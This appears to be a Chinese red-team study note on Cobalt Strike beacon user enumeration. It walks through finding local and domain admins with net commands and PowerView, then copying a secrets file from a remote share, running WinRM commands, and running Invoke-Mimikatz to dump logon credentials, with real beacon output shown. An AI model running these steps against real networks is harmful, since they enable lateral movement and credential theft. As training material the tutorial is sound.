【CS学习笔记】16、用户枚举三个关键步骤
0x00 前言
用户枚举的三个关键步骤:
1、当前账号是否为管理员账号?
2、哪些账号是域管理员账号?
3、哪个账号是这个系统上的本地管理员账号?
0x01 管理员账号
第一个关键步骤,发现管理员账号。
如果想知道自己是否为管理员账号,可以尝试运行一些只有管理员账号才有权限操作的命令,然后通过返回结果判断是否为管理员。
其中一种方式是尝试列出仅仅只有管理员才能查看的共享列表,比如下面的 dir \\host\C$
命令,如果可以看到一个文件列表,那么说明可能拥有本地管理员权限。
shell dir \\host\C$
#管理员账号运行结果
beacon> shell dir \\WIN-P26AK33U871\C$
[*] Tasked beacon to run: dir \\WIN-P26AK33U871\C$
[+] host called home, sent: 55 bytes
[+] received output:驱动器 \\WIN-P26AK33U871\C$ 中的卷没有标签。卷的序列号是 F269-89A7\\WIN-P26AK33U871\C$ 的目录2020/06/24 09:29 <DIR> inetpub
2009/07/14 11:20 <DIR> PerfLogs
2020/07/16 21:24 <DIR> Program Files
2020/07/16 21:52 <DIR> Program Files (x86)
2020/07/17 23:00 <DIR> Users
2020/07/26 00:55 <DIR> Windows0 个文件 0 字节6 个目录 28,500,807,680 可用字节
#一般账号运行结果
beacon> shell dir \\WIN-72A8ERDSF2P\C$
[*] Tasked beacon to run: dir \\WIN-72A8ERDSF2P\C$
[+] host called home, sent: 55 bytes
[+] received output:
拒绝访问。
也可以运行其他命令,比如运行下面的 at
命令来查看系统上的计划任务列表,如果显示出了任务列表信息,那么可能是本地管理员。(当任务列表没有信息时会返回 “列表是空的” 提示)
shell at \\host
#管理员账号运行结果
beacon> shell at \\WIN-P2AASSD1AF1
[*] Tasked beacon to run: at \\WIN-P2AASSD1AF1
[+] host called home, sent: 51 bytes
[+] received output:
状态 ID 日期 时间 命令行
-------------------------------------------------------------------------------1 今天 22:30 E:\Install\Thunder\Thunder.exe
#一般账号运行结果
beacon> shell at \\WIN-72A8ERDSF2P
[*] Tasked beacon to run: at \\WIN-72A8ERDSF2P
[+] host called home, sent: 51 bytes
[+] received output:
拒绝访问。
在上一节讲述的 PowerView
有很多很好的自动操作来帮助解决这些问题。可以在加载 PowerView
后,运行下面的命令,通过 PowerView
可以快速找到管理员账号。
powershell Find-LocalAdminAccess
beacon> powershell-import powerview.ps1
[*] Tasked beacon to import: powerview.ps1
[+] host called home, sent: 101224 bytesbeacon> powershell Find-LocalAdminAccess
[*] Tasked beacon to run: Find-LocalAdminAccess
[+] host called home, sent: 329 bytes
[+] received output:
WIN-P26AK33U871.teamssix.com
0x02 域管理员账号
第二个关键步骤,发现域管理员账号。
列出域管理员
对于发现域管理员账号,可以在共享里使用本地的Windows命令。运行以下两条命令可以用来找出这些“域群组”的成员。
net group "enterprise admins" /DOMAIN
net group "domain admins" /DOMAIN
beacon> shell net group "enterprise admins" /domain
[*] Tasked beacon to run: net group "enterprise admins" /domain
[+] host called home, sent: 68 bytes
[+] received output:
组名 Enterprise Admins
注释 企业的指定系统管理员
成员
-------------------------------------------------------------------------------
Administrator
命令成功完成。
beacon> shell net group "domain admins" /domain
[*] Tasked beacon to run: net group "domain admins" /domain
[+] host called home, sent: 64 bytes
[+] received output:
组名 Domain Admins
注释 指定的域管理员
成员
-------------------------------------------------------------------------------
Administrator
命令成功完成。
或者运行下面的命令来看谁是域控制器上的管理员
net localgroup "administrators" /DOMAIN
beacon> shell net localgroup "administrators" /domain
[*] Tasked beacon to run: net localgroup "administrators" /domain
[+] host called home, sent: 70 bytes
[+] received output:
别名 administrators
注释 管理员对计算机/域有不受限制的完全访问权
成员
-------------------------------------------------------------------------------
administrator
Domain Admins
Daniel
Enterprise Admins
命令成功完成。
net 模块
beacon 的 net 模块也可以帮助我们,下面的命令中 TARGET
的意思是一个域控制器或者是任何想查看的组名,比如企业管理员、域管理员等等
net group \\TARGET group name
也可以运行下面的命令,这会连接任意目标来获取列表
net localgroup \\TARGET group name
0x03 本地管理员
net 模块
本地管理员可能是一个域账户,因此如果想把一个系统作为目标,应该找到谁是这个系统的本地管理员,因为如果获得了它的密码哈希值或者凭据就可以伪装成那个用户。
beacon 的 net 模块可以在系统上从一个没有特权的关联中查询本地组和用户。
在 beacon 控制台中运行下面命令可以获得一个目标上的群组列表
net localgroup \\TARGET
如果想获取群组的列表,可运行下面的命令来获得一个群组成员的名单列表。
net localgroup \\TARGET group name
beacon> net localgroup \\WIN-P26AK33U871 administrators
[*] Tasked beacon to run net localgroup administrators on WIN-P26AK33U871
[+] host called home, sent: 104510 bytes
[+] received output:
Members of administrators on \\WIN-P26AK33U871:
TEAMSSIX\Administrator
TEAMSSIX\Daniel
TEAMSSIX\Enterprise Admins
TEAMSSIX\Domain Admins
PowerView 模块
PowerView 使用下面的命令能够在一个主机上找到本地管理员,这条命令实际上通过管理员群组找到同样的群组并且把成员名单返回出来。
Get-Netlocalgroup -hostname TARGET
beacon> powershell Get-Netlocalgroup -Hostname WIN-P26AK33U871
[*] Tasked beacon to run: Get-Netlocalgroup -Hostname WIN-P26AK33U871
[+] host called home, sent: 385 bytes
[+] received output:ComputerName : WIN-P26AK33U871
AccountName : teamssix.com/Administrator
IsDomain : True
IsGroup : False
SID : S-1-5-22-3301978333-983314215-684642015-500
Description :
Disabled :
LastLogin : 2020/8/17 22:21:23
PwdLastSet :
PwdExpired :
UserFlags : ComputerName : WIN-P26AK33U871
AccountName : teamssix.com/Daniel
……内容过多,余下部分省略……
0x04 无需恶意软件
如果一个系统信任我们为本地管理员权限,那么我们可以在那个系统上干什么呢?
1、查看共享文件
比如我们可以通过运行下面的命令来列出 C:\foo 的共享文件
shell dir \\host\C$\foo
beacon> shell dir \\WIN-P2AASSD1AF1\C$
[*] Tasked beacon to run: dir \\WIN-P2AASSD1AF1\C$
[+] host called home, sent: 55 bytes
[+] received output:驱动器 \\WIN-P2AASSD1AF1\C$ 中的卷没有标签。卷的序列号是 F269-89A7\\WIN-P2AASSD1AF1\C$ 的目录
2020/06/24 09:29 <DIR> inetpub
2009/07/14 11:20 <DIR> PerfLogs
2020/07/16 21:24 <DIR> Program Files
2020/07/16 21:52 <DIR> Program Files (x86)
2020/07/17 23:00 <DIR> Users
2020/07/26 00:55 <DIR> Windows0 个文件 0 字节6 个目录 28,500,393,984 可用字节
2、复制文件
比如运行下面的命令将 secrets.txt
文件复制到当前目录。
shell copy \\host\C$\foo\secrets.txt
beacon> shell copy \\WIN-P2AASSD1AF1\C$\foo\secrets.txt
[*] Tasked beacon to run: copy \\WIN-P2AASSD1AF1\C$\foo\secrets.txt
[+] host called home, sent: 93 bytes
[+] received output:
已复制 1 个文件。
3、查看文件列表
比如运行下面的命令。其中 /S 表示列出指定目录及子目录所有文件,/B 表示使用空格式,即没有标题或摘要信息。
shell dir /S /B \\host\C$
beacon> shell dir /S /B \\WIN-P2AASSD1AF1\C$\Users
[*] Tasked beacon to run: dir /S /B \\WIN-P2AASSD1AF1\C$\Users
[+] host called home, sent: 67 bytes
[+] received output:
\\WIN-P2AASSD1AF1\C$\Users\administrator
\\WIN-P2AASSD1AF1\C$\Users\Classic .NET AppPool
\\WIN-P2AASSD1AF1\C$\Users\Daniel
\\WIN-P2AASSD1AF1\C$\Users\Public
\\WIN-P2AASSD1AF1\C$\Users\administrator\Contacts
\\WIN-P2AASSD1AF1\C$\Users\administrator\Desktop
\\WIN-P2AASSD1AF1\C$\Users\administrator\Documents
\\WIN-P2AASSD1AF1\C$\Users\administrator\Downloads
\\WIN-P2AASSD1AF1\C$\Users\administrator\Favorites
……内容过多,余下部分省略……
4、使用 WinRM 运行命令
WinRM 运行在 5985 端口上,WinRM 是 Windows 远程管服务,使用 WinRM 可以使远程管理更容易一些。
如果想利用 WinRM 运行命令则可以使用下面的命令。
powershell Invoke-Command -ComputerName TARGET -ScriptBlock {command here}
beacon> powershell Invoke-Command -ComputerName WIN-P2AASSD1AF1 -ScriptBlock { net localgroup administrators}
[*] Tasked beacon to run: Invoke-Command -ComputerName WIN-P2AASSD1AF1 -ScriptBlock { net localgroup administrators}
[+] host called home, sent: 303 bytes
[+] received output:
别名 administrators
注释 管理员对计算机/域有不受限制的完全访问权
成员
-------------------------------------------------------------------------------
Administrator
Domain Admins
Daniel
Enterprise Admins
命令成功完成。
注:如果命令运行失败可能是因为 WinRM 配置原因,可在 powershell 环境下运行 winrm quickconfig
命令,输入 y
回车即可。
命令运行后的结果,WinRM 也将通过命令行进行显示,因此可以使用 Powershell 的 Invoke 命令来作为远程工具,而不使用其他的恶意软件来控制系统。
5、通过 WinRM 运行 Mimikatz
更进一步,甚至可以使用 PowerSploit 来通过 WinRM 运行 Mimikatz,只需要先导入 Invoke-Mimikatz.ps1 文件,再执行以下命令即可。
powershell-import /path/to/Invoke-Mimikatz.ps1
powershell Invoke-Mimikatz -ComputerName TARGET
注:之前提了很多次的 PowerView 也是 PowerSploit 项目里众多 ps1 文件之一,Mimikatz 的 ps1 文件在 PowerSploit 项目的 Exfiltration 目录下,PowerSploit 项目下载地址:https://github.com/PowerShellMafia/PowerSploit/
因为 beacon 上传文件大小限制在1MB,而 Invoke-Mimikatz.ps1 文件大小在 2 MB 多,因此直接运行 powershell-import
导入该文件会报错,这里可以选择使用 beacon 中的 upload 命令或者在当前会话的 File Browser 图形界面中上传该文件。
upload C:\path\Invoke-Mimikatz.ps1
上传之后通过 dir 命令可以查看到文件被上传到了C盘下,之后可以运行以下命令来导入该文件。
powershell import-module C:\Invoke-Mimikatz.ps1
最后再运行以下命令就能通过 WinRM 执行 Mimikatz 了。
powershell Invoke-Mimikatz -ComputerName TARGET
如果提示无法将“Invoke-Mimikatz”项识别为 cmdlet、函数……
,则可以将两条命令以分号合并在一起运行,即:
powershell import-module C:\Invoke-Mimikatz.ps1 ; Invoke-Mimikatz -ComputerName TARGET
beacon> powershell import-module C:\Invoke-Mimikatz.ps1 ; Invoke-Mimikatz -ComputerName WIN-P2AASSD1AF1
[*] Tasked beacon to run: import-module C:\Invoke-Mimikatz.ps1 ; Invoke-Mimikatz -ComputerName WIN-P2AASSD1AF1
[+] host called home, sent: 287 bytes
[+] received output:.#####. mimikatz 2.1 (x64) built on Nov 10 2016 15:31:14.## ^ ##. "A La Vie, A L'Amour"## / \ ## /* * *## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )'## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo)'#####' with 20 modules * * */mimikatz(powershell) # sekurlsa::logonpasswordsAuthentication Id : 0 ; 314628 (00000000:0004cd04)
Session : Interactive from 1
User Name : administrator
Domain : TEAMSSIX
Logon Server : WIN-P2AASSD1AF1
Logon Time : 2020/8/20 23:53:08
SID : S-1-5-22-3301978333-983314215-684642015-500msv : [00000003] Primary* Username : Administrator
……内容过多,余下部分省略……
终于把碰到的坑都填完了,睡觉……
更多信息欢迎关注我的微信公众号:TeamsSix
原文链接:https://www.teamssix.com/year/200419-150615.html
参考链接:https://blog.51cto.com/simeon/2126106
https://www.bilibili.com/video/BV16b411i7n5
https://blog.csdn.net/hnjztyx/article/details/52910478
【CS学习笔记】16、用户枚举三个关键步骤相关推荐
- cocos2d-x学习笔记16:记录存储1:CCUserDefault
cocos2d-x学习笔记16:记录存储1:CCUserDefault 一.简述 CCUserDefalt作为NSUserDefalt类的cocos2d-x实现版本,承担了cocos2d-x引擎的记录 ...
- Hadoop学习笔记—16.Pig框架学习
Hadoop学习笔记-16.Pig框架学习 一.关于Pig:别以为猪不能干活 1.1 Pig的简介 Pig是一个基于Hadoop的大规模数据分析平台,它提供的SQL-LIKE语言叫Pig Latin, ...
- x%3e=y%3e=z的c语言表达式,我的C语学习笔记-C语言教程(三).doc
我的C语学习笔记- C语言教程(三) C语言教程---第一章: C语言概论 C语言教程---第二章: 数据类型.运算符.表达式 C语言教程---第三章: C语言程序设计初步 C语言教程---第四章: ...
- Netty网络框架学习笔记-16(心跳(heartbeat)服务源码分析)
Netty网络框架学习笔记-16(心跳(heartbeat)服务源码分析_2020.06.25) 前言: Netty 作为一个网络框架,提供了诸多功能,比如编码解码等,Netty 还提供了非常重要的一 ...
- 【CS学习笔记】17、登录验证的难点
0x00 前言 如果当前账号权限被系统认为是本地管理员权限,那么就可以执行很多管理员才能做的事,接下来就来看一下这样的一个过程是如何工作的,其中会涉及到以下要点: 1.Access Token 登录令 ...
- Linux 学习笔记16 信号量
Linux 学习笔记16 信号量Semaphore 信号量概念 信号量(或信号灯)是一种用于提供不同进程间或一个给定进程的不同线程间同步手段的原语. 信号量是控制进程(或线程)同步(谁先执行,谁后执行 ...
- 【CS学习笔记】19、代码执行的方式
0x00 前言 实现代码执行的四个步骤: 1.与目标建立信任关系 2.复制可执行文件到目标上 3.在目标上运行可执行文件 4.实现对目标的控制 以上是根据视频教程中直译的结果,个人感觉其实这一节叫横向 ...
- SpringBoot学习笔记(16)----SpringBoot整合Swagger2
Swagger 是一个规范和完整的框架,用于生成,描述,调用和可视化RESTful风格的web服务 http://swagger.io Springfox的前身是swagger-springmvc,是 ...
- 台大李宏毅Machine Learning 2017Fall学习笔记 (16)Unsupervised Learning:Neighbor Embedding
台大李宏毅Machine Learning 2017Fall学习笔记 (16)Unsupervised Learning:Neighbor Embedding
最新文章
- Python的while循环
- 基于PU-Learning的恶意URL检测——半监督学习的思路来进行正例和无标记样本学习...
- Java面试通关要点汇总集之核心篇参考答案
- 如何使用万用表测量随机噪声
- 3.3. shutdown
- 去掉word注释里的横线
- mysql手工注入——盲注
- 【Android】3.3 MapFragment的使用
- 02 理解==与Equals()的区别及用法 1214
- VIM打造GTK编程环境
- python编程快速上手第三章_Python编程快速上手 往让繁琐工作自动化-6.6 习题(示例代码)...
- Git的安装以及常用的命令总结
- 【C++笔记】表达式 语句
- 加一度分享:如何降低推广预算,增加KPI
- 在线uml画图工具网站
- Date对象身上的绑定的属性与方法
- 使用axure rp8 制作一个iphonex手机框架
- Mybatis-Plus实现逻辑删除
- termux 安装mysql 并运行b站爬虫入库 安卓11(手机上跑定时python爬虫)
- MAC主机eclipse连接parallels内win7虚拟机oracle
热门文章
- CUDA生态和ROCm生态对比分析
- 408计算机复试专业课问答汇总
- UnicodeDecodeError: ‘utf-8‘ codec can‘t decode byte 0xc1 in position 41694: invalid start byte解决方案
- PMP备考错题集-冲刺题一
- selenium添加带有账密的socks5代理
- 【二开】Jeecgboot Online表单js增强用法记录
- 国产手机干不过苹果,无奈大举降价抛货,降价超千元的比比皆是
- 佳域G3乐蛙刷机包 第109期
- 派克斯PacketiX 如何安装和使用
- markersize